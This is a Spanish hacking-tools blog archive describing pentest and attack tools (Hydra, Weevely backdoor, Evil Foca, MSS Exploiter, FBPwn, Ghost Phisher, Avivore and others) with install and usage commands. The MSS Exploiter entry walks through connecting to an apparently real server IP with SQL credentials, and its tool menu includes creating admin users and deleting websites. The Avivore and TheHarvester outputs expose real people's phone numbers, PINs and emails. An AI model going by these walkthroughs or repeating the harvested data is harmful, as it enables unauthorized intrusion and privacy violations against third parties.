468x60 Ads

Mostrando entradas con la etiqueta Tools. Mostrar todas las entradas
Mostrando entradas con la etiqueta Tools. Mostrar todas las entradas

viernes, 17 de enero de 2014

OWASP SQLiX


OWASP SQLiX

SQLiX, programado en  Perl, es un scaner de inyección SQL, scanea, detecta vectores de la inyección de SQL, identifica los resultados back-end de la función call/UDF de la base de datos y del gancho agarrador (incluso ejecuta los comandos del sistema para MS-SQL). Los conceptos funcionando son diferentes que el que está usado en otros scannerss de inyección de SQL.

SQLiX puede encontrar vectores normales y ocultos de inyección de SQL y no necesita invertir a ingeniero la petición original del SQL (que usa solamente llamadas de función).

SQLiX es un scanner de inyección de SQL que procura llenar el boquete entre qué software comercial disponible en el mercado puede hacer y qué se puede realmente hacer para detectar y para identificar la inyección de SQL.

Los métodos actuales de la inyección usados por el software comercial del gravamen de la tela se basan en inyecciones de la generación o de la declaración del error.

La documentación y los ejemplos están en OWASP SQLiX Project

OWASP SQLiX v1.0
 
Mirror 1 | Mirror 2


miércoles, 15 de enero de 2014

Anubis - Herramienta de FootPrinting


Anubis es una aplicación desarrollada por Juan Antonio Calles en colaboración con Pablo González, del Flu Project Team, diseñada para anexionar gran parte de las herramientas necesarias para los procesos de las Auditorías de Seguridad y Test de Intrusión dedicados a la búsqueda de información, denominados Footprinting y Fingerprinting, en una única herramienta. Con ésta herramienta el auditor no solo conseguirá ahorrar tiempo durante la auditoría, sino que descubrirá nueva información que de manera manual no podría gracias a las automatizaciones que lleva Anubis incorporadas. Entre otras funcionalidades, Anubis permite buscar dominios mediante técnicas basadas en Google Hacking, Bing Hacking, ataques de fuerza bruta contra el DNS, transferencias de zona, etc. 

Permite identificar el sistema operativo de las máquinas que hay tras los dominios mediante análisis del banner, búsqueda de errores y la integración de la herramienta nmap. Por otro lado contiene otras herramientas útiles como un fuzzer Web, la búsqueda del registrador de un dominio mediante consultas Whois, o la identificación de software utilizado en la organización y personal existente en la misma mediante el análisis de metadatos en los ficheros PDF.

Si quieres saber más de Anubis y de otras técnicas de recolección de información en Auditoría de seguridad es recomendable leer La Biblia del FootPrinting

Requiere Windows XP, Windows Vista o Windows 7 y .Net Framework 





lunes, 13 de enero de 2014

Zmap - The Internet Scanner


Zmap

Creada por investigadores de la Universidad de Michigan y cuyo objetivo es encontrar vulnerabilidades en las redes, para posteriormente desarrollar mecanismos de defensa e impedir que dichas deficiencias sean explotadas con propósitos negativos. Zmap no es la primera herramienta de este tipo pero destaca su velocidad, ya que es capaz de escanear toda la red en cuestión de 45 minutos.s.

Para escanear todas las direcciones IP de Internet la herramienta envía solicitudes codificadas pero no espera la respuesta de cada dirección ni guarda una lista de peticiones pendientes, sino que en un proceso alterno va decodificando cada señal recibida de vuelta, lo cual hace que sea hasta 1,000 veces más veloz que Nmap, otra herramienta para el escaneo de la red.

Caracteristicas:

- Testing optimizado: envía conexiones tan rápido como soporte la tarjeta de red, saltando la pila TCP/IP
-No necesita guardar el estado de conexión: selecciona las direcciones de acuerdo a una permutación aleatoria generada por un grupo multiplicativo cíclico.

Zmap VideoTutorial


Descarga Zmap

git clone https://github.com/zmap/zmap



viernes, 10 de enero de 2014

Evil Foca


Evil Foca

Es una herramienta para pentesters y auditores de seguridad que tiene como finalidad poner a prueba la seguridad en redes de datos IPv4 / IPv6.

La herramienta es capaz de realizar distintos ataques como:
MITM sobre redes IPv4 con ARP Spoofing y DHCP ACK Injection.
MITM sobre redes IPv6 con Neighbor Advertisement Spoofing, Ataque SLAAC, fake DHCPv6.
DoS (Denegación de Servicio) sobre redes IPv4 con ARP Spoofing.
DoS (Denegación de Servicio) sobre redes IPv6 con SLAAC DoS.
DNS Hijacking.

Automáticamente se encarga de escanear la red e identificar todos los dispositivos y sus respectivas interfaces de red, especificando sus direcciones IPv4 e IPv6 y las direcciones físicas a través de una interfaz cómoda e intuitiva.


Ataque de hombre en el medio (MITM)

El conocido “Man In The Middle” es un ataque, en el que un malhechor crea la posibilidad de leer, inyectar o modificar información que hay en un canal entre 2 equipos sin que ninguno de ellos se entere. Dentro de los ataques de MITM en IPv4 e IPv6 Evil Foca contempla las siguientes técnicas:
ARP Spoofing

Consiste en enviar mensajes ARP a la red Ethernet, normalmente la finalidad es asociar la dirección MAC del atacante con la dirección IP de otro equipo. Cualquier tráfico dirigido a la dirección IP de la puerta de enlace predeterminada será erróneamente enviado al atacante, en lugar de a su destino real.
 
DHCP ACK Injection

Consiste en que un atacante monitoriza los intercambios DHCP y en un determinado punto de la comunicación envía un paquete para modificar su comportamiento. Evil Foca se encargará de convertir el equipo en un servidor DHCP falso en la red.
 
Neighbor Adverticement Spoofing

El principio de este ataque es el mismo que el de ARP Spoofing, la diferencia radica en que IPv6 no trabaja con el protocolo ARP, sino que toda la información se transmite a través de paquetes ICMPv6. Existen 5 tipos de paquetes ICMPv6 utilizados en el protocolo de descubrimiento y Evil Foca se encarga de generar ese tipo de paquetes, colocándose entre el gateway y la víctima.
Ataque SLAAC

El objetivo de este ataque es poder hacer un MITM cuando un usuario se conecta a Internet a un servidor que no tiene soporte para IPv6 y que por lo tanto es necesario conectarse usando IPv4. Este ataque es posible debido a que Evil Foca se encarga de la resolución de nombres de dominio una vez situada en el medio de la comunicación, y es capaz de transformar las direcciones IPv4 en direcciones IPv6.
Falso DHCPv6 server

Este ataque consiste en que el atacante se hace pasar por el servidor DCHPv6, respondiendo a todas las solicitudes de la red, repartiendo direcciones IPv6 y un DNS falso para manipular el destino de los usuarios o denegar el servicio.

Ataque de denegación de servicio (DoS)

El ataque DoS es un ataque a un sistema de equipos o red que causa que un servicio o recurso sea inaccesible para sus usuarios. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima.

Ataque DoS en IPv4 con ARP Spoofing

Este tipo de ataque DoS consiste en asociar una dirección MAC inexistente en la tabla ARP de una víctima, con esto se consigue queel equipo en el cual se ha modificado la tabla ARP sea incapaz de conectarse a la dirección IP asociada a la MAC inexistente.
  
Ataque DoS en IPv6 con ataque SLAAC

En este tipo de ataque se genera una gran cantidad de paquetes “router advertisement” destinados a uno o varios equipos, anunciando falsos routers y asignando una dirección IPv6 y puerta de enlace diferente para cada router, colapsando el sistema y haciendo que los equipos no respondan.
 
DNS Hijacking

El ataque de DNS Hijacking o secuestro de DNS consiste en alterar la resolución del sistema de nombres de dominio (DNS). Esto se puede lograr por malware que invalide la configuración de un equipo TCP / IP para que apunte a un servidor pirata DNS bajo el control de un atacante, o por medio de un ataque MITM, siendo el atacante el que reciba las peticiones DNS, y encargándose él de dar respuesta a una consulta DNS específica para dirigir a la víctima a un destino específico seleccionado por el atacante.

Presentación Evil FOCA - DEFCON 21



jueves, 9 de enero de 2014

Weevely


Weevely - Php Backdoor

Es una herramienta esencial para la explotación posterior de aplicaciones web, y se puede utilizar como puerta trasera o como una shell web para gestionar las cuentas web.

Más de 30 módulos:

    Ejecutar comandos y navegue sistema de archivos remoto, incluso con restricción de seguridad de    PHP.
    Auditoría de errores de configuración de servidor comunes.
    Ejecutar consola SQL pivotante en la máquina de destino.
    Abrir proxy HTTP para hacer un túnel a través de su tráfico de destino.
    Fácil transferencia de archivos desde y hacia el objetivo.
    Engendro conchas TCP inversa y directa.
    Fuerza bruta las contraseñas de los usuarios del sistema de destino.
    Ejecutar escaneo de puertos de equipo de destino.
    Comunicaciones de puerta trasera se ocultan en las cookies HTTP.
    Las comunicaciones son ofuscado para eludir la detección NIDS firma.
    Backdoor código polimórfico PHP se ofusca para evitar HIDS detección AV.
    Y muchos mas....

Descarga Weevely

git clone https://github.com/epinna/Weevely

Weevely Video Tutorial:



lunes, 6 de enero de 2014

FBPwn – Facebook Social Engineering Framework


FBPwn – Facebook Social Engineering Framework

Es una plataforma basada en Java de para realizar ingeniería social a Facebook y sacar toda la información necesaria de un usuario, esta herramienta se puede utilizar para intentar descargar o atacar cuentas de usuario en Facebook directamente desde un Framework este puede realizar lo siguiente:

·         Volcar lista de amigos.
·         Agregar todos los amigos de la víctima.
·         Volcar todas las imágenes del álbumes de usuarios.
·         Volcado de la información del perfil.
·         Volcado de Fotos de perfil (Imágenes de perfil).
·         Comprobar solicitud de amigos.
·         Volcado los datos del muro de la víctima.
·         Clon de los perfiles.

Para poder realizar el volcado de datos agregue un usuario valido con su nombre y contraseña.


Este se autenticara y le permitirá agregar a un usuario víctima y realizar todos lo que se muestra en la imagen siguiente y descrito anteriormente.




jueves, 2 de enero de 2014

THC-Hydra


THC-Hydra

THC-Hydra es una aplicación con licencia GPL que funciona bajo cualquier distribución Linux/Unix, Windows (bajo Cygwin) y Mac, que soporta multitud de protocolos y que es extremadamente rápida a la hora de comprobar la robustez de cualquier contraseña. Entre los protocolos y servicios soportados destacan: FTP, Telnet, HTTP, HTTP Form, Imap, SMB, Ldap, VNC, POP3, SSH y un largo etcétera.

A modo de ejemplo, para analizar un sistema con el puerto de MySQL (TCP 3306) abierto el comando completo sería:

hydra -l root -p root 192.168.1.23 mysql

Sentencias Elementales THC-Hydra:

-l Es el nombre de usuario, si se usa en mayúscula (-L) se puede poner un diccionario (*.txt) con usuarios (muy práctico cuando no se sabe el usuario) [-l admin] [-L admin.txt].

-p Se pone el password, si se usa en mayúscula (-P) se puede poner un diccionario de passwords (es lo más lógico usar esta opción) [-p password] [-P diccionario.txt].

-v Es el verbose mode que imprime en pantalla los intentos de usarios-password, si se usa con mayúscula (-V) Hydra nos dará más detalles del proceso de crackeo [-v] [-vV].

192.168.1.23 Esto se remplaza por el IP de nuestro objetivo [IP/host].
 
mysql El protocolo al cual se ataca, puede ser todos los mensionados arriba (ftp, telnet, pop3, snmp, etc…) [protocolo].

Luego de eso empezaría el largo proceso de crackear una contraseña por fuerza bruta, y rezar para que el password se encuentre en el diccionario.txt o estamos perdidos.

Otras sentencias muy útiles de THC-Hydra:

-R esto restaura la sesión anterior que se nos haya caído (muy normal cuando nuestro pc no es muy bueno) o que hayamos abortado [-R].

-S se conecta por SSL [-S].

-s Se especifica un puerto por si no es el por defecto en el protocolo (ejemplo: telnet (23), ftp (21), smtp (25), etc…) [-s 4450].

-C Esta sentencia se usa eliminando -l/-L y -p/-P ya que aquí se especifica un diccionario combo, osea que tenga tanto usuario como contraseña con el formato user:pass [-C diccionario-combo.txt].

-o Esto es muy útil ya que nos ira dejando en un documento que nosotros especifiquemos todas las contraseñas y usuarios que vaya sacando [-o output.txt].

-f Se cierra Hydra después de encontrar el primer password [-f].

-w Con este se puede especificar el tiempo máximo (en segundos) que queramos que este crackeando passwords [-w 9999999].

-t Este es uno de los más útiles si es que cuentas con un computador con buenas características y buena banda ancha, ya que permite cambiar la cantidad de contraseñas/passwords que se crackean en paralelo que son 16 por defecto [-t 32].

Instalar hydra versión grafica en ubuntu y debian

Primero que nada debemos instalar las dependencias. Abrimos la terminal y escribimos los siguiente:

apt-get install pkg-config libgtk2.0-dev
apt-get install libssl-dev
apt-get install libpq-dev
apt-get install libsvn-dev libapr1-dev libaprutil1-dev
apt-get install firebird2.1-dev
apt-get install libmysqlclient-devsudo apt-get install libncp-dev
apt-get install libssh-dev

Luego en consola escribimos lo siguiente.

sudo apt-get install hydra

Luego escribimos xhydra



miércoles, 1 de enero de 2014

Owasp Xelenium - XSS Scanner


Owasp Xelenium - XSS Scanner

Owasp Xelenium - XSS Scanner es una herramienta de pruebas de seguridad que se puede utilizar para identificar las vulnerabilidades de seguridad presentes en la aplicación web.

Xelenium utiliza el código abierto de automatización de pruebas funcionales de herramientas "Selenium", como su motor y ha sido construido usando Java Swing.

Esta versión ayuda al usuario en la identificación de la vulnerabilidad Cross Site Scripting (XSS) y las amenazas presentes en la aplicación web. En la versión posterior, Xelenium se verá reforzada de tal manera que se podrían identificar las principales vulnerabilidades.
Para abrir la interfaz gráfica tecleamos: 
    java -jar Xelenium_v3.jar
    
La forma en que funciona esta herramienta es muy fácil, solo tenemos que colocar el sitio web que queramos auditar en "Enter URL", presionamos en "Capture Pages"  y esperamos a que la herramienta cargue los módulos del sitio web.

Terminado dicho proceso, presionamos click en "Perfom XSS Scan" por lo que la herramienta inyectara los códigos Javascript para encontrar las vulnerabilidades XSS.


martes, 31 de diciembre de 2013

MSS Exploiter


MSS Exploiter

MSS Exploiter es una herramienta para la automatización de ataques a servidores Windows a través de SQL Server. Otra excelente herramienta de r00tw0rm programada por CorruptedByte.

Muchas veces nos topamos con vulnerabilidades como arbitrary file download, transversal directory, local file inclusion, oracle padding attack u otras y esto solo nos da acceso a archivos de configuración donde podemos encontrar el usuario y contraseña de SQL Server pero con esto muchas veces solo nos da acceso a la base de datos donde encontramos usuarios y contraseñas, después tenemos que acceder a el panel del CMS, luego tratar de subir shell, después escalar privilegios, pero con esta herramienta nos ahorramos todo ese trabajo creando una shell directa con el servidor windows, entre otras cosas.

Instalación de dependencias:

Para que funcione correctamente MSS Exploiter necesitan las siguientes dependencias.
[+]install setuptools
    apt-get install python-setuptools


[+]install Cython
    wget http://cython.org/release/Cython-0.16.tar.gz
    tar -xzvf Cython-0.16.tar.gz
    cd Cython-0.16
    python setup.py install




[+]Install pymssql
    Download: http://code.google.com/p/pymssql/downloads/detail?name=pymssql-2.0.0b1-dev-20111019.tar.gz
    Extract: tar -xzvf pymssql-2.0.0b1-dev-20111019.tar.gz
    Install: python setup.py install




[+]rdesktop install
Install: apt-get install rdesktop
 
Descarga:

MediaFire

Password: R00tW0rmTeam

Ejemplo de uso:

python mssexploiter.py

En el primer menú encontraremos 2 opciones, la primera es en el caso de que ya tengamos el usuario y contraseña de la base de datos.

[1]Enter SQL credentials
[2]Dictionary attack
Choise an option: 1

Si accedes a la primera opción deberás introducir el usuario y contraseña de SQL Server

Introduce the ip host to connect: 91.214.97.252
Introduce the DB user: sa
Introduce the DB password: 5QLP455w0rd

Despues tendras acceso a todas las funciones de la aplicacion:

[1]Start microsoft shell
[2]Create user with administrative  permissions
[3]Enable remote desktop
[4]Disable remote desktop
[5]connect with remote desktop
[6]SQL Mannager
[7]Process killer
[8]Delete all websites
[9]Stop/start/restart web server (IIS)
[10]Shutdown PC

La primera opción es una shell a través de SQL Server con esto puedes echar a volar tu imaginación y escalar privilegios por tu cuenta, pero también tienes la segunda opción para crear un usuario con privilegios administrativos, ademas con la tercera opción puedes habilitar el escritorio remoto en caso de que no este habilitado y con esto ya tienes acceso total al sistema.

Tambien tiene un SQL Manager en caso de que seas usuario linux y no tengas el SQL Server managment sutudio o una herramienta para acceder a dicho servidor SQL Server asi como un process killera, funciones de IIS y una function simple para apagar el servidor por completo.
  
Video:



domingo, 29 de diciembre de 2013

OWASP DirBuster


OWASP DirBuster

OWASP DirBuster es una aplicación en Java diseñado para realizar Brute Force en los Directorios y Archivos en servidores web/aplicación. A menudo es el caso ahora de lo que parece un servidor web en un estado de la instalación por defecto no es en realidad, y tiene páginas y aplicaciones ocultas en su interior.

Descargamos OWASP DirBuster, después de haberlo descargado, y extraido, lo podemos ejecutar de la siguiente forma ( se necesita Java ).

tar xvjf -d DirBuster-0.12.tar.bz2
cd DirBuster-0.12
java -jar DirBuster-0.12.jar

Al ejecutar OWASP DirBuster se mostrara la siguiente ventana.



Donde dice Target, colocamos la direccion del sitio web que querramos poner a prueba y realizar Brute Foce.

Luego le dan en Browse y se abrira una carpeta, para que elijan alguna lista de los diccionarios que van a usar para realizar el Brute Force.

Le dan Start y la herramienta empezara a auditar el sitio web que hayan elegido.

El tiempo que demora la herramienta en terminar dicho proceso, depende si el sitio web es grande o pequeño.




viernes, 27 de diciembre de 2013

TheHarvester - Information Gathering Tool


TheHarvester - Information Gathering Tool

TheHarvester es una herramienta para recopilar cuentas de correo electrónico, nombres de usuario y nombres de host o subdominios de diferentes fuentes públicas como motores de búsqueda y los servidores de claves PGP.

Esta herramienta está destinada a ayudar a los probadores de penetración en las primeras etapas del proyecto, es una herramienta muy simple, pero muy eficaz.

Las fuentes de apoyo son los siguientes:

    Google - correos electrónicos, subdominios o nombres de host
    Google perfiles - los nombres de los empleados
    Bing - correos electrónicos, subdominios o nombres de hosts, servidores virtuales
    Pgp servidores, correos electrónicos, subdominios o nombres de host
    Linkedin - Los nombres de los empleados
    Exalead - correos electrónicos, nombres de host o subdominio

Utilizando la Herramienta:

Primero Descargamos TheHarvester

cd /media/Stuxnet/Pentesting/theHarvester
stuxnet@stuxnet:/media/Stuxnet/Pentesting/theHarvester$ l
COPYING         hostchecker.pyc  parser.pyc       TODO
discovery/      LICENSES         README           version.txt
hostchecker.py  parser.py        theHarvester.py
stuxnet@stuxnet:/media/Stuxnet/Pentesting/theHarvester$ python theHarvester.py

*************************************
*TheHarvester Ver. 2.0 (reborn)     *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************


Usage: theharvester options 

       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for vhosts(basic)
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)
       -f: Save the results into an XML file

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin

stuxnet@stuxnet:/media/Stuxnet/Pentesting/theHarvester$ python theHarvester.py -d guatemala.gob.gt -l 500 -b google

*************************************
*TheHarvester Ver. 2.0 (reborn)     *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************


[-] Searching in Google:
 Searching 100 results...
 Searching 200 results...
 Searching 300 results...
 Searching 400 results...
 Searching 500 results...
 Searching 600 results...

[+] Emails found:
 -------------
ottoperezmolina@guatemala.gob.gt
gobierno@guatemala.gob.gt
gobiemo@guatemala.gob.gt

[+] Hosts found
 -----------
190.93.243.50:www.guatemala.gob.gt



jueves, 26 de diciembre de 2013

Ghost Phisher


Ghost Phisher

Ghost Phisher es una aplicación de seguridad que viene incorporado con un servidor DNS falso, servidor DHCP falso, servidor HTTP falso y también tiene un espacio integrado para la captura automática y el registro de las credenciales HTTP método del formulario a una base de datos. El programa podría ser utilizado para servicio de solicitud de DHCP, DNS o peticiones de los ataques de phishing.

Requisitos:
    Aircrack-NG
    Python-Scapy
    Python Qt4
    Python
    Subversion
    Xterm
    Metasploit Framework (Opcional)

Screens:




Video:



Ghost Phisher


martes, 24 de diciembre de 2013

Loki


Loki

Loki es una impresionante herramienta de manipulación de redes a nivel de capa 2/3 creada por Daniel Mende, René Graf y Enno Rey, Loki provee una interfaz gráfica de usuario (GUI) para realizar múltiples ataques a protocolos, permitiéndonos manipular protocolos de red para realizar ataques MITM (Man-In-The-Middle) y otras actividades maliciosas. 

Los protocolos soportados son:

    ARP
    HSRP, HSRPv2
    RIP
    BGP
    OSPF
    EIGRP
    WLCCP
    VRRP, VRRPv3
    BFD (Protocolo de Reenvio Bidireccional)
    LDP (Protocolo de Diustribución de Etiquetas)
    MPLS (re-etiquetado, interfaz de tunel)






EiGRP Route Injection using Loki



Route injection in OSPF using Loki



OSPF Authentication crack using Loki 



viernes, 20 de diciembre de 2013

SPToolKit (Kit de herramientas para Phishing)


SPToolKit (Kit de herramientas para Phishing)

SPToolKit es un completo conjunto de herramientas de auto-contenido de phishing de correo electrónico que se puede instalar y configurar en menos de 15 minutos y permite sensibilizar al “eslabón más débil” sobre los peligros de este tipo de ataques y los efectos negativos que pueden causar en las compañías.

Para la instalación debe tener servicios como apache, php, mysql, donde pueda subir la herramienta de forma sencilla y dirigida para su instalación.

Descargamos SPToolKit:

git clone https://github.com/sptoolkit/sptoolkit/

Como configurar SPToolKit:

Para la instalación debe tener servicios como apache, php, mysql, donde pueda subir la herramienta de forma sencilla y dirigida para su instalación. A continuación les muestro algunos pasos de instalación y el frame donde están las opciones para realizar las pruebas.

1.- Se debe lanzar el paquete y mostrara los primeros pasos para la instalación:


2.- Se aceptan los términos de instalación y herramientas (bajo su responsabilidad):

3.- Posterior a ello se debe hacer algunas comprobaciones antes de empezar y ajustarlas si no están bien configuradas:


4.- Posterior a la corrección permitirá la configuracion la base de datos y el las credenciales de administración:

5.- Para finalmente tener acceso al panel de administración que le permitirá realizar Phishing de forma sencilla en la compañía y medir gráficamente su comportamiento:






miércoles, 18 de diciembre de 2013

Avivore


Avivore

Avivore es una sencilla herramienta programada en lenguaje Python que, utilizando la API de Twitter, busca determinadas palabras clave para analizar los tweets encontrados y extraer información relativa a:

1) Números de teléfono en el formato internacional de marcación NPA-NXX (por ejemplo, 604-555-5555).
2) Direcciones IP en formato IPv4 (127.0.0.1).
3) Códigos PIN de dispositivos Blackberry (ABCDEF12) para utilizar con Blackberry Messenger (BBM), un servicio similar al conocido Whatsapp.

Todo lo anterior se almacena en una base de datos SQLite (.db) y va mostrando los resultados uno a uno de forma secuencial a través de la consola. En la página del creador se indica que la herramienta ha sido probada en Ubuntu pero que debería funcionar en cualquier otra plataforma capaz de ejecutar Python. En el laboratorio de Hacktimes se ha instalado bajo una distribución Linux Debian Squeeze y, una vez configurado Python adecuadamente, no ha surgido ningún problema con los módulos de Twitter y Sqlite.

Avivore fue presentado en las conferencias de Seguridad B-Sides de Vancouver a principios de marzo de este año 2013 y desde entonces el autor está recopilando ideas para darle nuevos usos a la herramienta y así obtener más información de los usuarios que publican alegremente demasiados datos en Twitter.

La instalación es simple.

apt-get install sqlite3
curl -O http://python-distribute.org/distribute_setup.py
python distribute_setup.py
curl -O https://raw.github.com/pypa/pip/master/contrib/get-pip.py
python get-pip.py
pip install twitter

hacktimes_lab# python avivore.py

Avivore 1.0
A Twitter-based tool for finding personal data.

Licensed under the LGPL and created by Colin Keigher
http://github.com/ColinKeigher
--------------------------------------------------------

[1365009816] Type: bbpin, User: DjAndresBass, PIN: 2908ABFB, TweetID: 319498790010757121
[1365009816] Type: bbpin, User: 1Okonma, PIN: 26580A0F, TweetID: 319498775104204800
[1365009816] Type: bbpin, User: kopyrit3, PIN: 28B39095, TweetID: 319498184776896512
[1365009816] Type: bbpin, User: AlbaraaNagro, PIN: 271FE0FA, TweetID: 319497093121196032
[1365009826] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500427693527040
[1365009826] Type: phone, User: soloventasEC, Number: 6660986790, TweetID: 319500381421969410
[1365009826] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500309141536768
[1365009826] Type: phone, User: Diegoleon007, Number: 3044680505, TweetID: 319500240979890177
[1365009826] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500216288043008
[1365009857] Type: phone, User: bitch_suck_des, Number: 7343772865, TweetID: 319500316884226048
[1365009867] Type: phone, User: CDFMS, Number: 6628417855, TweetID: 319500569897209856
[1365009867] Type: phone, User: NickRizzi_, Number: 7184905119, TweetID: 319500566948614144
[1365009888] Type: ipadr, User: Africanex, IP: 76.64.191.184, TweetID: 319500002735042562
[1365009888] Type: ipadr, User: Africanex, IP: 70.26.36.130, TweetID: 319499562706423809
[1365009888] Type: ipadr, User: Africanex, IP: 99.232.57.192, TweetID: 319499553558626304
[1365009919] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500792157593601
[1365009919] Type: bbpin, User: elmejor1393, PIN: 24427bb7, TweetID: 319500680417120257
[1365009919] Type: bbpin, User: gngstryuri, PIN: 284f70a8, TweetID: 319500673769160705
[1365009919] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500642018275331


lunes, 16 de diciembre de 2013

Maltego Data Gathering Tool


Maltego Data Gathering Tool

Maltego es una aplicación de minería y recolección de información utilizada durante la fase de ‘Data Gathering’, proceso en el cual se trata de obtener el mayor número de información posible sobre un objetivo para su posterior ataque.

Antes de empezar a utilizar Maltego, es necesario registrarse en la web, ya que cuando se inicie Maltego por primera vez, nos pedirá que introduzcamos nuestra cuenta de usuario a través de un asistente. Si no realizamos estos pasos, no se nos cargará la paleta de entidades, por lo que no podremos utilizar adecuadamente el software.

Para iniciar un nuevo proyecto (Graph), se debe hacer clic sobre el icono marcado en la siguiente captura de pantalla.


En el lateral izquierdo de la interfaz, se encuentra un panel con la paleta de componentes. Para agregar una entidad desde esta paleta, basta con arrastrarlo al ‘Graph’. En la siguiente captura se ve como se ha agregado una entidad ‘Domain’.

Si hacemos clic sobre la entidad una vez agregada, en el lateral derecho se nos mostrará el panel de propiedades, pudiendo personalizar y modificar las propiedades del mismo. Para este ejemplo se ha configurado la propiedad ‘Domain Name’ como ‘fbi.gov’.


Para iniciar el proceso de minería de datos, hay que comenzar con la recogida de información sobre una entidad. Para ello es necesario hacer clic derecho sobre la misma, y expandir el menú ‘Run transform’, donde aparecerá una lista con las distintas transformaciones aplicables a dicha entidad.

Si dejamos el puntero del ratón situado encima de una de ellas, se nos mostrará una pequeña descripción sobre ella.

Una vez se inicie la búsqueda, se irá pintando el mapa de los datos obtenidos. Dicho mapa será representado mediante diferentes iconos dependiendo del tipo de entidad de que se trate. Por supuesto, cada una dispondrá de sus propias transformaciones.


Una vez se aplique la transformación, se inicirá la búsqueda, y a medida que esta se ejecuta y devuelve resultados, se irá pintando el mapa con los datos obtenidos. Dicho mapa será representado mediante diferentes iconos dependiendo del tipo de entidad que se trate, y cada una dispondrá, por tanto, de sus propias transformaciones.

Una parte importante, a la hora de realizar un proceso de ‘Data Gathering’, es la identificación de los usuarios de la organización objetivo. Dicha información puede resultar de gran utilidad a la hora de realizar ataques, ya sean bien de ingeniería social, o bien datos que se utilicen para la generación de diccionarios de usuarios, creando de este modo una lista de usuarios válidos en la organización.

Con este objetivo existe una transformación llamada ‘Email Addresses from Domain -> All in this set’, que intenta obtener un mapa similar al que se puede ver en la siguiente imagen:


Con todas estas direcciones de correos se puede obtener más información, como por ejemplo obtener los dominios en los cuales ha sido encontradas referencias a una dirección de correo concreta. Esto puede encontrar foros, relaciones de comunicación entre empresas, datos publicados en blogs, frecuencias de visita de usuarios, etc... para la realizacion de ataques dirigidos.

En este caso, para probar esta transformación se realizará una búsqueda sobre la dirección de correo ‘employment@fbi.gov’, usando la transformación ‘Other transformation -> To Website’.


Como se puede ver en la imagen, esta cuenta aparece relacionada con distintos servidores web.

En casos en los que se conozca información extra que Maltego ha sido incapaz de encontrar o relacionar, podemos hacer esto manualmente. Si por ejemplo se supiera de la existencia de la cuenta ‘usuario @fbi.gov’, se puede agregar manualmente arrastrando la entidad ‘Email Address’ y, posteriormente, creando un enlace con el dominio, símplemente arrastrando desde la entidad dominio hacia la dirección de correo.


Otra de las funcionalidades de Maltego es la extracción de metadatos de los documentos ofimáticos. Para ello, primero es necesaria la localización de dichos documentos mediante la transformación ‘Files and Documents from Domain -> To Files (Office)’, en este caso realizado sobre el dominio ‘usal.es’.


Para la extracción de metadatos, utilizar la transformación ‘Other transforms -> Parse meta information’ sobre los documentos ofimáticos, obteniendo así los datos.

Una vez está realizada la extracción y relación de datos, es posible visualizarla de diversas formas graficas (Mining view, Dynamic View, Edge Weighter View) o en modo texto (Entity List), seleccionando el tipo en la parte superior del gráfico.

Créditos: Chema Alonso



miércoles, 11 de diciembre de 2013

Usb Attack Toolkit (UAT)


Usb Attack Toolkit (UAT)

Usb Attack Toolkit (UAT) es una herramienta deserrollada por Xianur0, para realizar pruebas de seguridad al protocolo USB. Ha sido programada en: Python, Processing y HTML5 lo que ofrece una gran versatilidad.

Permite realizar 

Mediante un Teensy o un Arduino
Fuzzing de drivers
Clonación de dispositivos
Mapeo de mensajes de control.
Sniffeo inteligente de tramas USB (con soporte para personalizarlas).
Repetición de tramas USB.
Generación de drivers libusb (bruteforce o tomando tramas de un driver existente).
Sniffer hardware OpenSource
Soporte semi-completo para Android 


Usb Attack Toolkit (UAT)


viernes, 15 de noviembre de 2013

Golismero


Golismero

Golismero es una herramienta de seguridad desarrollada por OWASP orientada a realizar auditorías de páginas web para buscar posibles agujeros de seguridad existentes en estas, aunque también podría ser utilizado para buscar fallos en cualquier otro tipo de servicios (redes, servidores, etc.)

La herramienta puede recopilar y analizar resultados recogidos por otras herramientas de seguridad como sqlmap, xsser, openvas, dnsrecon, theharvester, etc.

Descarga Golismero:
git clone https://github.com/golismero/golismero
cd golismero
python golismero.py -h

Uso básico Golismero:

python golismero.py http://stuxnethack.tk -o prueba.txt

Lo anterior nos guardara los resultados obtenidos del anális en el archivo prueba.txt que se guardará en la carpeta donde estamos ejecutando Golismero.

stuxnet@stuxnet:/media/Stuxnet/Pentesting/golismero$ python golismero.py http://stuxnethack.tk -o prueba.txt

/----------------------------------------------\
| GoLismero 2.0.0b1 - The Web Knife            |
| Contact: golismero.project<@>gmail.com       |
|                                              |
| Daniel Garcia Garcia a.k.a cr0hn (@ggdaniel) |
| Mario Vilas (@Mario_Vilas)                   |
\----------------------------------------------/

GoLismero started at 2013-11-14 21:21:55.395471
[*] GoLismero: Audit name: golismero-DLTy3hgk
[*] GoLismero: Audit database: golismero-DLTy3hgk.db
[*] GoLismero: Added 3 new targets to the database.
[*] GoLismero: Launching tests...
[*] OS fingerprinting plugin: Started.
[*] Robots.txt Analyzer: Started.
[*] OS fingerprinting plugin: Started.
[*] theHarvester: Started.
[*] DNS zone transfer: Started.
[*] DNS subdomain bruteforcer: Started.
[*] DNS analyzer: Started.
[*] Web Server fingerprinting plugin: Started.
[*] Web Spider: Started.
[*] Suspicious URL: Started.
[!] OS fingerprinting plugin: [!] You can't run the platform detection plugin if you're not root.
[*] OS fingerprinting plugin: Finished.
[*] theHarvester: Searching keyword 'stuxnethack.tk' in google
[*] theHarvester: 0.00% percent done...
[*] Web Spider: Spidering URL: 'http://stuxnethack.tk/'
[*] Suspicious URL: Finished.
[*] DNS analyzer: Starting DNS analyzer plugin
